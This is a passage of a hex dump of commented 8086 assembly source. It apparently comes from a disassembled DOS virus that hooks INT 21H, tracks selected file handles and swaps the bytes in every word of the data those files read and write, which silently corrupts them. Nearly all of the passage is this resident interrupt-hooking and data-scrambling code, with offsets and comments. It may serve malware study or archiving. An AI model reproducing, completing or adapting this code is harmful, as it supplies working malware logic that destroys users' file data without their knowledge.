|00001000| 6b 20 6f 6e 65 20 62 79 | 74 65 0a 09 4d 4f 56 09 |k one by|te..MOV.|
|00001010| 44 58 2c 43 58 09 09 09 | 3b 20 2f 0a 09 49 4e 54 |DX,CX...|; /..INT|
|00001020| 09 32 31 48 09 09 09 3b | 20 44 4f 53 20 73 65 72 |.21H...;| DOS ser|
|00001030| 76 69 63 65 0a 09 4d 4f | 56 09 41 48 2c 33 46 48 |vice..MO|V.AH,3FH|
|00001040| 09 09 09 3b 20 52 65 61 | 64 20 68 61 6e 64 6c 65 |...; Rea|d handle|
|00001050| 20 66 75 6e 63 74 69 6f | 6e 0a 09 4d 4f 56 09 43 | functio|n..MOV.C|
|00001060| 58 2c 31 09 09 09 3b 20 | 4c 65 6e 67 74 68 20 74 |X,1...; |Length t|
|00001070| 6f 20 72 65 61 64 0a 09 | 50 4f 50 09 44 58 0a 09 |o read..|POP.DX..|
|00001080| 43 41 4c 4c 09 42 50 30 | 35 43 33 09 09 09 3b 20 |CALL.BP0|5C3...; |
|00001090| 44 4f 53 20 73 65 72 76 | 69 63 65 0a 09 50 4f 50 |DOS serv|ice..POP|
|000010a0| 09 41 58 0a 09 50 4f 50 | 09 43 58 0a 09 50 55 53 |.AX..POP|.CX..PUS|
|000010b0| 48 09 53 49 0a 09 50 55 | 53 48 09 42 50 0a 09 4d |H.SI..PU|SH.BP..M|
|000010c0| 4f 56 09 53 49 2c 44 58 | 0a 09 4d 4f 56 09 42 50 |OV.SI,DX|..MOV.BP|
|000010d0| 2c 5b 53 49 5d 0a 09 43 | 41 4c 4c 09 42 50 30 35 |,[SI]..C|ALL.BP05|
|000010e0| 43 33 09 09 09 3b 20 44 | 4f 53 20 73 65 72 76 69 |C3...; D|OS servi|
|000010f0| 63 65 0a 09 50 55 53 48 | 46 0a 09 50 55 53 48 09 |ce..PUSH|F..PUSH.|
|00001100| 41 58 0a 09 4d 4f 56 09 | 41 58 2c 42 50 0a 09 4d |AX..MOV.|AX,BP..M|
|00001110| 4f 56 09 5b 53 49 5d 2c | 41 4c 0a 09 50 4f 50 09 |OV.[SI],|AL..POP.|
|00001120| 41 58 0a 09 50 4f 50 09 | 42 50 0a 09 50 4f 50 09 |AX..POP.|BP..POP.|
|00001130| 53 49 0a 09 50 55 53 48 | 09 43 58 0a 09 50 55 53 |SI..PUSH|.CX..PUS|
|00001140| 48 09 44 58 0a 09 4d 4f | 56 09 43 58 2c 41 58 0a |H.DX..MO|V.CX,AX.|
|00001150| 09 44 45 43 09 43 58 0a | 09 49 4e 43 09 44 58 0a |.DEC.CX.|.INC.DX.|
|00001160| 09 43 41 4c 4c 09 42 50 | 30 32 32 44 09 09 09 3b |.CALL.BP|022D...;|
|00001170| 20 52 65 76 65 72 73 65 | 20 62 79 74 65 73 20 69 | Reverse| bytes i|
|00001180| 6e 20 65 61 63 68 20 77 | 6f 72 64 0a 09 50 4f 50 |n each w|ord..POP|
|00001190| 09 44 58 0a 09 50 4f 50 | 09 43 58 0a 09 4a 4d 50 |.DX..POP|.CX..JMP|
|000011a0| 09 42 50 30 31 33 38 0a | 0a 42 50 30 31 32 41 3a |.BP0138.|.BP012A:|
|000011b0| 09 50 4f 50 09 44 58 0a | 09 50 4f 50 09 41 58 0a |.POP.DX.|.POP.AX.|
|000011c0| 09 50 4f 50 09 43 58 0a | 09 43 41 4c 4c 09 42 50 |.POP.CX.|.CALL.BP|
|000011d0| 30 35 43 33 09 09 09 3b | 20 44 4f 53 20 73 65 72 |05C3...;| DOS ser|
|000011e0| 76 69 63 65 0a 09 50 55 | 53 48 46 0a 09 50 55 53 |vice..PU|SHF..PUS|
|000011f0| 48 09 43 58 0a 09 4d 4f | 56 09 43 58 2c 41 58 0a |H.CX..MO|V.CX,AX.|
|00001200| 09 43 41 4c 4c 09 42 50 | 30 32 32 44 09 09 09 3b |.CALL.BP|022D...;|
|00001210| 20 52 65 76 65 72 73 65 | 20 62 79 74 65 73 20 69 | Reverse| bytes i|
|00001220| 6e 20 65 61 63 68 20 77 | 6f 72 64 0a 09 50 4f 50 |n each w|ord..POP|
|00001230| 09 43 58 0a 42 50 30 31 | 33 38 3a 09 50 55 53 48 |.CX.BP01|38:.PUSH|
|00001240| 09 43 58 0a 09 50 55 53 | 48 09 41 58 0a 09 50 55 |.CX..PUS|H.AX..PU|
|00001250| 53 48 09 44 58 0a 09 4d | 4f 56 09 41 58 2c 34 32 |SH.DX..M|OV.AX,42|
|00001260| 30 31 48 09 09 3b 20 4d | 6f 76 65 20 66 69 6c 65 |01H..; M|ove file|
|00001270| 20 70 6f 69 6e 74 65 72 | 20 28 63 75 72 72 65 6e | pointer| (curren|
|00001280| 74 29 20 66 75 6e 63 74 | 69 6f 6e 0a 09 58 4f 52 |t) funct|ion..XOR|
|00001290| 09 43 58 2c 43 58 09 09 | 09 3b 20 5c 20 4e 6f 20 |.CX,CX..|.; \ No |
|000012a0| 6f 66 66 73 65 74 0a 09 | 58 4f 52 09 44 58 2c 44 |offset..|XOR.DX,D|
|000012b0| 58 09 09 09 3b 20 2f 0a | 09 49 4e 54 09 32 31 48 |X...; /.|.INT.21H|
|000012c0| 09 09 09 3b 20 44 4f 53 | 20 73 65 72 76 69 63 65 |...; DOS| service|
|000012d0| 0a 09 54 45 53 54 09 41 | 58 2c 31 09 09 09 3b 20 |..TEST.A|X,1...; |
|000012e0| 49 73 20 6c 6f 63 61 74 | 69 6f 6e 20 6f 64 64 20 |Is locat|ion odd |
|000012f0| 6e 75 6d 62 65 72 20 62 | 79 74 65 3f 0a 09 4a 5a |number b|yte?..JZ|
|00001300| 09 42 50 30 31 35 38 09 | 09 09 3b 20 42 72 61 6e |.BP0158.|..; Bran|
|00001310| 63 68 20 69 66 20 6e 6f | 74 0a 09 50 4f 50 09 44 |ch if no|t..POP.D|
|00001320| 58 0a 09 50 4f 50 09 41 | 58 0a 09 50 55 53 48 09 |X..POP.A|X..PUSH.|
|00001330| 41 58 0a 09 50 55 53 48 | 09 44 58 0a 09 41 44 44 |AX..PUSH|.DX..ADD|
|00001340| 09 44 58 2c 41 58 0a 09 | 44 45 43 09 44 58 0a 09 |.DX,AX..|DEC.DX..|
|00001350| 4d 4f 56 09 43 58 2c 31 | 09 09 09 3b 20 4c 65 6e |MOV.CX,1|...; Len|
|00001360| 67 74 68 20 74 6f 20 72 | 65 61 64 0a 09 4d 4f 56 |gth to r|ead..MOV|
|00001370| 09 41 48 2c 33 46 48 09 | 09 09 3b 20 52 65 61 64 |.AH,3FH.|..; Read|
|00001380| 20 68 61 6e 64 6c 65 20 | 66 75 6e 63 74 69 6f 6e | handle |function|
|00001390| 0a 09 43 41 4c 4c 09 42 | 50 30 35 43 33 09 09 09 |..CALL.B|P05C3...|
|000013a0| 3b 20 44 4f 53 20 73 65 | 72 76 69 63 65 0a 42 50 |; DOS se|rvice.BP|
|000013b0| 30 31 35 38 3a 09 50 4f | 50 09 44 58 0a 09 50 4f |0158:.PO|P.DX..PO|
|000013c0| 50 09 41 58 0a 09 50 4f | 50 09 43 58 0a 09 50 4f |P.AX..PO|P.CX..PO|
|000013d0| 50 46 0a 09 52 45 54 46 | 09 32 0a 0a 09 3b 20 57 |PF..RETF|.2...; W|
|000013e0| 72 69 74 65 20 66 69 6c | 65 20 66 75 6e 63 74 69 |rite fil|e functi|
|000013f0| 6f 6e 0a 0a 42 50 30 31 | 35 46 3a 09 50 55 53 48 |on..BP01|5F:.PUSH|
|00001400| 09 44 49 0a 09 43 41 4c | 4c 09 42 50 30 31 36 33 |.DI..CAL|L.BP0163|
|00001410| 09 09 09 3b 20 5c 20 47 | 65 74 20 63 75 72 72 65 |...; \ G|et curre|
|00001420| 6e 74 20 61 64 64 72 65 | 73 73 0a 42 50 30 31 36 |nt addre|ss.BP016|
|00001430| 33 3a 09 50 4f 50 09 44 | 49 09 09 09 3b 20 2f 0a |3:.POP.D|I...; /.|
|00001440| 09 53 55 42 09 44 49 2c | 4f 46 46 53 45 54 20 42 |.SUB.DI,|OFFSET B|
|00001450| 50 30 31 36 33 2d 44 42 | 30 30 42 30 09 3b 20 41 |P0163-DB|00B0.; A|
|00001460| 64 64 72 65 73 73 20 74 | 61 62 6c 65 20 6f 66 20 |ddress t|able of |
|00001470| 66 69 6c 65 20 68 61 6e | 64 6c 65 73 0a 42 50 30 |file han|dles.BP0|
|00001480| 31 36 38 3a 09 43 4d 50 | 09 42 59 54 45 20 50 54 |168:.CMP|.BYTE PT|
|00001490| 52 20 43 53 3a 5b 44 49 | 5d 2c 30 09 3b 20 45 6e |R CS:[DI|],0.; En|
|000014a0| 64 20 6f 66 20 74 61 62 | 6c 65 3f 0a 09 4a 45 09 |d of tab|le?..JE.|
|000014b0| 42 50 30 31 37 36 09 09 | 09 3b 20 42 72 61 6e 63 |BP0176..|.; Branc|
|000014c0| 68 20 69 66 20 79 65 73 | 0a 09 43 4d 50 09 43 53 |h if yes|..CMP.CS|
|000014d0| 3a 5b 44 49 5d 2c 42 4c | 09 09 3b 20 49 73 20 74 |:[DI],BL|..; Is t|
|000014e0| 68 69 73 20 74 68 65 20 | 66 69 6c 65 20 68 61 6e |his the |file han|
|000014f0| 64 6c 65 0a 09 4a 45 09 | 42 50 30 31 37 41 09 09 |dle..JE.|BP017A..|
|00001500| 09 3b 20 42 72 61 6e 63 | 68 20 69 66 20 79 65 73 |.; Branc|h if yes|
|00001510| 0a 09 49 4e 43 09 44 49 | 09 09 09 3b 20 4e 65 78 |..INC.DI|...; Nex|
|00001520| 74 20 65 6e 74 72 79 0a | 09 4a 4d 50 09 42 50 30 |t entry.|.JMP.BP0|
|00001530| 31 36 38 0a 0a 42 50 30 | 31 37 36 3a 09 50 4f 50 |168..BP0|176:.POP|
|00001540| 09 44 49 0a 09 4a 4d 50 | 09 42 50 30 30 34 34 09 |.DI..JMP|.BP0044.|
|00001550| 09 09 3b 20 50 61 73 73 | 20 6f 6e 20 74 6f 20 49 |..; Pass| on to I|
|00001560| 6e 74 20 32 31 48 0a 0a | 42 50 30 31 37 41 3a 09 |nt 21H..|BP017A:.|
|00001570| 43 41 4c 4c 09 42 50 30 | 31 37 44 09 09 09 3b 20 |CALL.BP0|17D...; |
|00001580| 5c 20 47 65 74 20 63 75 | 72 72 65 6e 74 20 61 64 |\ Get cu|rrent ad|
|00001590| 64 72 65 73 73 0a 42 50 | 30 31 37 44 3a 09 50 4f |dress.BP|017D:.PO|
|000015a0| 50 09 44 49 09 09 09 3b | 20 2f 0a 09 53 55 42 09 |P.DI...;| /..SUB.|
|000015b0| 44 49 2c 4f 46 46 53 45 | 54 20 42 50 30 31 37 44 |DI,OFFSE|T BP017D|
|000015c0| 2d 44 57 30 30 43 34 0a | 09 4d 4f 56 09 57 4f 52 |-DW00C4.|.MOV.WOR|
|000015d0| 44 20 50 54 52 20 43 53 | 3a 5b 44 49 5d 2c 30 0a |D PTR CS|:[DI],0.|
|000015e0| 09 4d 4f 56 09 57 4f 52 | 44 20 50 54 52 20 43 53 |.MOV.WOR|D PTR CS|
|000015f0| 3a 5b 44 49 2b 32 5d 2c | 30 0a 09 50 55 53 48 09 |:[DI+2],|0..PUSH.|
|00001600| 41 58 0a 09 50 55 53 48 | 09 42 58 0a 09 50 55 53 |AX..PUSH|.BX..PUS|
|00001610| 48 09 43 58 0a 09 50 55 | 53 48 09 44 58 0a 09 4d |H.CX..PU|SH.DX..M|
|00001620| 4f 56 09 41 58 2c 34 32 | 30 31 48 09 09 3b 20 4d |OV.AX,42|01H..; M|
|00001630| 6f 76 65 20 66 69 6c 65 | 20 70 6f 69 6e 74 65 72 |ove file| pointer|
|00001640| 20 28 63 75 72 72 65 6e | 74 29 20 66 75 6e 63 74 | (curren|t) funct|
|00001650| 69 6f 6e 0a 09 58 4f 52 | 09 43 58 2c 43 58 09 09 |ion..XOR|.CX,CX..|
|00001660| 09 3b 20 5c 20 4e 6f 20 | 6f 66 66 73 65 74 0a 09 |.; \ No |offset..|
|00001670| 58 4f 52 09 44 58 2c 44 | 58 09 09 09 3b 20 2f 0a |XOR.DX,D|X...; /.|
|00001680| 09 4d 4f 56 09 44 49 2c | 30 46 42 30 41 48 09 09 |.MOV.DI,|0FB0AH..|
|00001690| 3b 20 41 6c 6c 6f 77 20 | 66 72 65 65 20 70 61 73 |; Allow |free pas|
|000016a0| 73 61 67 65 20 74 6f 20 | 44 4f 53 0a 09 49 4e 54 |sage to |DOS..INT|
|000016b0| 09 32 31 48 09 09 09 3b | 20 44 4f 53 20 73 65 72 |.21H...;| DOS ser|
|000016c0| 76 69 63 65 0a 09 54 45 | 53 54 09 41 58 2c 31 09 |vice..TE|ST.AX,1.|
|000016d0| 09 09 3b 20 49 73 20 6c | 6f 63 61 74 69 6f 6e 20 |..; Is l|ocation |
|000016e0| 6f 64 64 20 6e 75 6d 62 | 65 72 20 62 79 74 65 3f |odd numb|er byte?|
|000016f0| 0a 09 4a 4e 5a 09 42 50 | 30 31 43 30 09 09 09 3b |..JNZ.BP|01C0...;|
|00001700| 20 42 72 61 6e 63 68 20 | 69 66 20 79 65 73 0a 09 | Branch |if yes..|
|00001710| 50 4f 50 09 44 58 0a 09 | 50 4f 50 09 43 58 0a 09 |POP.DX..|POP.CX..|
|00001720| 54 45 53 54 09 41 58 2c | 31 09 09 09 3b 20 49 73 |TEST.AX,|1...; Is|
|00001730| 20 6c 6f 63 61 74 69 6f | 6e 20 6f 64 64 20 6e 75 | locatio|n odd nu|
|00001740| 6d 62 65 72 20 62 79 74 | 65 3f 0a 09 4a 4e 5a 09 |mber byt|e?..JNZ.|
|00001750| 42 50 30 31 42 32 09 09 | 09 3b 20 42 72 61 6e 63 |BP01B2..|.; Branc|
|00001760| 68 20 69 66 20 79 65 73 | 20 28 3f 3f 3f 29 0a 09 |h if yes| (???)..|
|00001770| 4d 4f 56 09 41 58 2c 30 | 0a 09 43 41 4c 4c 09 42 |MOV.AX,0|..CALL.B|
|00001780| 50 30 32 30 30 0a 09 4a | 4d 50 09 42 50 30 31 45 |P0200..J|MP.BP01E|
|00001790| 39 0a 0a 42 50 30 31 42 | 32 3a 09 4d 4f 56 09 41 |9..BP01B|2:.MOV.A|
|000017a0| 58 2c 31 0a 09 43 41 4c | 4c 09 42 50 30 32 30 30 |X,1..CAL|L.BP0200|
|000017b0| 0a 09 4a 42 09 42 50 30 | 31 45 39 0a 09 43 41 4c |..JB.BP0|1E9..CAL|
|000017c0| 4c 09 42 50 30 32 42 39 | 0a 09 4a 4d 50 09 42 50 |L.BP02B9|..JMP.BP|
|000017d0| 30 31 45 39 0a 0a 42 50 | 30 31 43 30 3a 09 50 4f |01E9..BP|01C0:.PO|
|000017e0| 50 09 44 58 0a 09 50 4f | 50 09 43 58 0a 09 54 45 |P.DX..PO|P.CX..TE|
|000017f0| 53 54 09 43 58 2c 31 0a | 09 4a 5a 09 42 50 30 31 |ST.CX,1.|.JZ.BP01|
|00001800| 44 36 0a 09 43 41 4c 4c | 09 42 50 30 32 36 32 0a |D6..CALL|.BP0262.|
|00001810| 09 4a 42 09 42 50 30 31 | 45 39 0a 09 4d 4f 56 09 |.JB.BP01|E9..MOV.|
|00001820| 41 58 2c 30 31 30 30 48 | 0a 09 43 41 4c 4c 09 42 |AX,0100H|..CALL.B|
|00001830| 50 30 32 30 30 0a 09 4a | 4d 50 09 42 50 30 31 45 |P0200..J|MP.BP01E|
|00001840| 39 0a 0a 42 50 30 31 44 | 36 3a 09 43 41 4c 4c 09 |9..BP01D|6:.CALL.|
|00001850| 42 50 30 32 36 32 0a 09 | 4a 42 09 42 50 30 31 45 |BP0262..|JB.BP01E|
|00001860| 39 0a 09 4d 4f 56 09 41 | 58 2c 30 31 30 31 48 0a |9..MOV.A|X,0101H.|
|00001870| 09 43 41 4c 4c 09 42 50 | 30 32 30 30 0a 09 4a 42 |.CALL.BP|0200..JB|
|00001880| 09 42 50 30 31 45 39 0a | 09 43 41 4c 4c 09 42 50 |.BP01E9.|.CALL.BP|
|00001890| 30 32 42 39 0a 09 4a 4d | 50 09 42 50 30 31 45 39 |02B9..JM|P.BP01E9|
|000018a0| 0a 0a 42 50 30 31 45 39 | 3a 09 50 4f 50 09 42 58 |..BP01E9|:.POP.BX|
|000018b0| 0a 09 50 4f 50 09 41 58 | 0a 09 50 4f 50 09 44 49 |..POP.AX|..POP.DI|
|000018c0| 0a 09 43 41 4c 4c 09 42 | 50 30 31 45 46 09 09 09 |..CALL.B|P01EF...|
|000018d0| 3b 20 5c 20 47 65 74 20 | 63 75 72 72 65 6e 74 20 |; \ Get |current |
|000018e0| 61 64 64 72 65 73 73 0a | 42 50 30 31 45 46 3a 09 |address.|BP01EF:.|
|000018f0| 50 4f 50 09 53 49 09 09 | 09 3b 20 2f 0a 09 53 55 |POP.SI..|.; /..SU|
|00001900| 42 09 53 49 2c 4f 46 46 | 53 45 54 20 42 50 30 31 |B.SI,OFF|SET BP01|
|00001910| 45 46 2d 44 57 30 30 43 | 34 0a 09 50 55 53 48 09 |EF-DW00C|4..PUSH.|
|00001920| 43 53 3a 5b 53 49 2b 32 | 5d 0a 09 50 4f 50 46 0a |CS:[SI+2|]..POPF.|
|00001930| 09 4d 4f 56 09 41 58 2c | 43 53 3a 5b 53 49 5d 0a |.MOV.AX,|CS:[SI].|
|00001940| 09 50 4f 50 09 53 49 0a | 09 52 45 54 46 09 32 0a |.POP.SI.|.RETF.2.|
|00001950| 0a 42 50 30 32 30 30 3a | 09 43 4d 50 09 43 58 2c |.BP0200:|.CMP.CX,|
|00001960| 31 0a 09 4a 4e 45 09 42 | 50 30 32 30 39 0a 09 43 |1..JNE.B|P0209..C|
|00001970| 41 4c 4c 09 42 50 30 32 | 34 32 0a 09 52 45 54 0a |ALL.BP02|42..RET.|
|00001980| 0a 42 50 30 32 30 39 3a | 09 43 41 4c 4c 09 42 50 |.BP0209:|.CALL.BP|
|00001990| 30 32 31 35 0a 09 43 41 | 4c 4c 09 42 50 30 32 34 |0215..CA|LL.BP024|
|000019a0| 32 0a 09 50 55 53 48 46 | 0a 09 43 41 4c 4c 09 42 |2..PUSHF|..CALL.B|
|000019b0| 50 30 32 31 35 0a 09 50 | 4f 50 46 0a 09 52 45 54 |P0215..P|OPF..RET|
|000019c0| 0a 0a 42 50 30 32 31 35 | 3a 09 50 55 53 48 09 43 |..BP0215|:.PUSH.C|
|000019d0| 58 0a 09 50 55 53 48 09 | 44 58 0a 09 43 41 4c 4c |X..PUSH.|DX..CALL|
|000019e0| 09 42 50 30 32 32 30 0a | 09 43 41 4c 4c 09 42 50 |.BP0220.|.CALL.BP|
|000019f0| 30 32 32 44 09 09 09 3b | 20 52 65 76 65 72 73 65 |022D...;| Reverse|
|00001a00| 20 62 79 74 65 73 20 69 | 6e 20 65 61 63 68 20 77 | bytes i|n each w|
|00001a10| 6f 72 64 0a 09 50 4f 50 | 09 44 58 0a 09 50 4f 50 |ord..POP|.DX..POP|
|00001a20| 09 43 58 0a 09 52 45 54 | 0a 0a 42 50 30 32 32 30 |.CX..RET|..BP0220|
|00001a30| 3a 09 43 4d 50 09 41 48 | 2c 31 0a 09 4a 4e 45 09 |:.CMP.AH|,1..JNE.|
|00001a40| 42 50 30 32 32 37 0a 09 | 49 4e 43 09 44 58 0a 09 |BP0227..|INC.DX..|
|00001a50| 44 45 43 09 43 58 0a 42 | 50 30 32 32 37 3a 09 43 |DEC.CX.B|P0227:.C|
|00001a60| 4d 50 09 41 4c 2c 31 0a | 09 4a 4e 45 09 42 50 30 |MP.AL,1.|.JNE.BP0|
|00001a70| 32 32 43 0a 09 44 45 43 | 09 43 58 0a 42 50 30 32 |22C..DEC|.CX.BP02|
|00001a80| 32 43 3a 09 52 45 54 0a | 0a 09 3b 20 52 65 76 65 |2C:.RET.|..; Reve|
|00001a90| 72 73 65 20 62 79 74 65 | 73 20 69 6e 20 65 61 63 |rse byte|s in eac|
|00001aa0| 68 20 77 6f 72 64 0a 0a | 42 50 30 32 32 44 3a 09 |h word..|BP022D:.|
|00001ab0| 50 55 53 48 09 53 49 0a | 09 50 55 53 48 09 43 58 |PUSH.SI.|.PUSH.CX|
|00001ac0| 0a 09 50 55 53 48 09 41 | 58 0a 09 4d 4f 56 09 53 |..PUSH.A|X..MOV.S|
|00001ad0| 49 2c 44 58 0a 09 53 48 | 52 09 43 58 2c 31 09 09 |I,DX..SH|R.CX,1..|
|00001ae0| 09 3b 20 44 69 76 69 64 | 65 20 63 6f 75 6e 74 20 |.; Divid|e count |
|00001af0| 62 79 20 74 77 6f 0a 42 | 50 30 32 33 34 3a 09 4d |by two.B|P0234:.M|
|00001b00| 4f 56 09 41 58 2c 5b 53 | 49 5d 09 09 09 3b 20 47 |OV.AX,[S|I]...; G|
|00001b10| 65 74 20 6e 65 78 74 20 | 77 6f 72 64 0a 09 58 43 |et next |word..XC|
|00001b20| 48 47 09 41 48 2c 41 4c | 09 09 09 3b 20 52 65 76 |HG.AH,AL|...; Rev|
|00001b30| 65 72 73 65 20 62 79 74 | 65 73 20 69 6e 20 77 6f |erse byt|es in wo|
|00001b40| 72 64 0a 09 4d 4f 56 09 | 5b 53 49 5d 2c 41 58 09 |rd..MOV.|[SI],AX.|
|00001b50| 09 09 3b 20 52 65 70 6c | 61 63 65 20 77 6f 72 64 |..; Repl|ace word|
|00001b60| 0a 09 49 4e 43 09 53 49 | 09 09 09 3b 20 5c 20 4e |..INC.SI|...; \ N|
|00001b70| 65 78 74 20 77 6f 72 64 | 0a 09 49 4e 43 09 53 49 |ext word|..INC.SI|
|00001b80| 09 09 09 3b 20 2f 0a 09 | 4c 4f 4f 50 09 42 50 30 |...; /..|LOOP.BP0|
|00001b90| 32 33 34 09 09 09 3b 20 | 52 65 70 65 61 74 20 66 |234...; |Repeat f|
|00001ba0| 6f 72 20 63 6f 75 6e 74 | 0a 09 50 4f 50 09 41 58 |or count|..POP.AX|
|00001bb0| 0a 09 50 4f 50 09 43 58 | 0a 09 50 4f 50 09 53 49 |..POP.CX|..POP.SI|
|00001bc0| 0a 09 52 45 54 0a 0a 42 | 50 30 32 34 32 3a 09 50 |..RET..B|P0242:.P|
|00001bd0| 55 53 48 09 41 58 0a 09 | 50 55 53 48 09 43 58 0a |USH.AX..|PUSH.CX.|
|00001be0| 09 50 55 53 48 09 44 58 | 0a 09 50 55 53 48 09 44 |.PUSH.DX|..PUSH.D|
|00001bf0| 49 0a 09 43 41 4c 4c 09 | 42 50 30 32 32 30 0a 09 |I..CALL.|BP0220..|
|00001c00| 4d 4f 56 09 41 48 2c 34 | 30 48 09 09 09 3b 20 57 |MOV.AH,4|0H...; W|
|00001c10| 72 69 74 65 20 68 61 6e | 64 6c 65 20 66 75 6e 63 |rite han|dle func|
|00001c20| 74 69 6f 6e 0a 09 49 4e | 54 09 32 31 48 09 09 09 |tion..IN|T.21H...|
|00001c30| 3b 20 44 4f 53 20 73 65 | 72 76 69 63 65 0a 09 50 |; DOS se|rvice..P|
|00001c40| 55 53 48 46 0a 09 43 41 | 4c 4c 09 42 50 30 32 35 |USHF..CA|LL.BP025|
|00001c50| 31 09 09 09 3b 20 5c 20 | 47 65 74 20 63 75 72 72 |1...; \ |Get curr|
|00001c60| 65 6e 74 20 61 64 64 72 | 65 73 73 0a 42 50 30 32 |ent addr|ess.BP02|
|00001c70| 35 31 3a 09 50 4f 50 09 | 44 49 09 09 09 3b 20 2f |51:.POP.|DI...; /|
|00001c80| 0a 09 53 55 42 09 44 49 | 2c 4f 46 46 53 45 54 20 |..SUB.DI|,OFFSET |
|00001c90| 42 50 30 32 35 31 2d 44 | 57 30 30 43 34 0a 09 50 |BP0251-D|W00C4..P|
|00001ca0| 4f 50 09 43 53 3a 5b 44 | 49 2b 32 5d 0a 09 41 44 |OP.CS:[D|I+2]..AD|
|00001cb0| 44 09 43 53 3a 5b 44 49 | 5d 2c 41 58 0a 09 50 4f |D.CS:[DI|],AX..PO|
|00001cc0| 50 09 44 49 0a 09 50 4f | 50 09 44 58 0a 09 50 4f |P.DI..PO|P.DX..PO|
|00001cd0| 50 09 43 58 0a 09 50 4f | 50 09 41 58 0a 09 52 45 |P.CX..PO|P.AX..RE|
|00001ce0| 54 0a 0a 42 50 30 32 36 | 32 3a 09 50 55 53 48 09 |T..BP026|2:.PUSH.|
|00001cf0| 41 58 0a 09 50 55 53 48 | 09 43 58 0a 09 50 55 53 |AX..PUSH|.CX..PUS|
|00001d00| 48 09 44 58 0a 09 50 55 | 53 48 09 53 49 0a 09 50 |H.DX..PU|SH.SI..P|
|00001d10| 55 53 48 09 42 50 0a 09 | 4d 4f 56 09 44 58 2c 2d |USH.BP..|MOV.DX,-|
|00001d20| 31 09 09 09 3b 20 5c 20 | 42 61 63 6b 20 6f 6e 65 |1...; \ |Back one|
|00001d30| 20 62 79 74 65 0a 09 4d | 4f 56 09 43 58 2c 44 58 | byte..M|OV.CX,DX|
|00001d40| 09 09 09 3b 20 2f 0a 09 | 4d 4f 56 09 41 58 2c 34 |...; /..|MOV.AX,4|
|00001d50| 32 30 31 48 09 09 3b 20 | 4d 6f 76 65 20 66 69 6c |201H..; |Move fil|
|00001d60| 65 20 70 6f 69 6e 74 65 | 72 20 28 63 75 72 72 65 |e pointe|r (curre|
|00001d70| 6e 74 29 20 66 75 6e 63 | 74 69 6f 6e 0a 09 49 4e |nt) func|tion..IN|
|00001d80| 54 09 32 31 48 09 09 09 | 3b 20 44 4f 53 20 73 65 |T.21H...|; DOS se|
|00001d90| 72 76 69 63 65 0a 09 4d | 4f 56 09 41 48 2c 33 46 |rvice..M|OV.AH,3F|
|00001da0| 48 09 09 09 3b 20 52 65 | 61 64 20 68 61 6e 64 6c |H...; Re|ad handl|
|00001db0| 65 20 66 75 6e 63 74 69 | 6f 6e 0a 09 4d 4f 56 09 |e functi|on..MOV.|
|00001dc0| 43 58 2c 31 09 09 09 3b | 20 4c 65 6e 67 74 68 20 |CX,1...;| Length |
|00001dd0| 74 6f 20 72 65 61 64 0a | 09 4d 4f 56 09 53 49 2c |to read.|.MOV.SI,|
|00001de0| 44 58 0a 09 4d 4f 56 09 | 42 50 2c 5b 53 49 5d 0a |DX..MOV.|BP,[SI].|
|00001df0| 09 49 4e 54 09 32 31 48 | 09 09 09 3b 20 44 4f 53 |.INT.21H|...; DOS|
|00001e00| 20 73 65 72 76 69 63 65 | 0a 09 4a 42 09 42 50 30 | service|..JB.BP0|
|00001e10| 32 41 33 09 09 09 3b 20 | 42 72 61 6e 63 68 20 69 |2A3...; |Branch i|
|00001e20| 66 20 65 72 72 6f 72 0a | 09 4d 4f 56 09 44 58 2c |f error.|.MOV.DX,|
|00001e30| 2d 31 09 09 09 3b 20 5c | 20 42 61 63 6b 20 6f 6e |-1...; \| Back on|
|00001e40| 65 20 62 79 74 65 0a 09 | 4d 4f 56 09 43 58 2c 44 |e byte..|MOV.CX,D|
|00001e50| 58 09 09 09 3b 20 2f 0a | 09 4d 4f 56 09 41 58 2c |X...; /.|.MOV.AX,|
|00001e60| 34 32 30 31 48 09 09 3b | 20 4d 6f 76 65 20 66 69 |4201H..;| Move fi|
|00001e70| 6c 65 20 70 6f 69 6e 74 | 65 72 20 28 63 75 72 72 |le point|er (curr|
|00001e80| 65 6e 74 29 20 66 75 6e | 63 74 69 6f 6e 0a 09 49 |ent) fun|ction..I|
|00001e90| 4e 54 09 32 31 48 09 09 | 09 3b 20 44 4f 53 20 73 |NT.21H..|.; DOS s|
|00001ea0| 65 72 76 69 63 65 0a 09 | 58 43 48 47 09 42 50 2c |ervice..|XCHG.BP,|
|00001eb0| 5b 53 49 5d 0a 09 4d 4f | 56 09 43 58 2c 31 09 09 |[SI]..MO|V.CX,1..|
|00001ec0| 09 3b 20 4c 65 6e 67 74 | 68 20 74 6f 20 77 72 69 |.; Lengt|h to wri|
|00001ed0| 74 65 0a 09 4d 4f 56 09 | 41 48 2c 34 30 48 09 09 |te..MOV.|AH,40H..|
|00001ee0| 09 3b 20 57 72 69 74 65 | 20 68 61 6e 64 6c 65 20 |.; Write| handle |
|00001ef0| 66 75 6e 63 74 69 6f 6e | 0a 09 49 4e 54 09 32 31 |function|..INT.21|
|00001f00| 48 09 09 09 3b 20 44 4f | 53 20 73 65 72 76 69 63 |H...; DO|S servic|
|00001f10| 65 0a 09 4a 42 09 42 50 | 30 32 41 33 09 09 09 3b |e..JB.BP|02A3...;|
|00001f20| 20 42 72 61 6e 63 68 20 | 69 66 20 65 72 72 6f 72 | Branch |if error|
|00001f30| 0a 09 58 43 48 47 09 42 | 50 2c 5b 53 49 5d 0a 09 |..XCHG.B|P,[SI]..|
|00001f40| 4d 4f 56 09 43 58 2c 31 | 09 09 09 3b 20 4c 65 6e |MOV.CX,1|...; Len|
|00001f50| 67 74 68 20 74 6f 20 77 | 72 69 74 65 0a 09 4d 4f |gth to w|rite..MO|
|00001f60| 56 09 41 48 2c 34 30 48 | 09 09 09 3b 20 57 72 69 |V.AH,40H|...; Wri|
|00001f70| 74 65 20 68 61 6e 64 6c | 65 20 66 75 6e 63 74 69 |te handl|e functi|
|00001f80| 6f 6e 0a 09 49 4e 54 09 | 32 31 48 09 09 09 3b 20 |on..INT.|21H...; |
|00001f90| 44 4f 53 20 73 65 72 76 | 69 63 65 0a 09 4a 42 09 |DOS serv|ice..JB.|
|00001fa0| 42 50 30 32 41 33 09 09 | 09 3b 20 42 72 61 6e 63 |BP02A3..|.; Branc|
|00001fb0| 68 20 69 66 20 65 72 72 | 6f 72 0a 09 58 43 48 47 |h if err|or..XCHG|
|00001fc0| 09 42 50 2c 5b 53 49 5d | 0a 09 4d 4f 56 09 41 58 |.BP,[SI]|..MOV.AX|
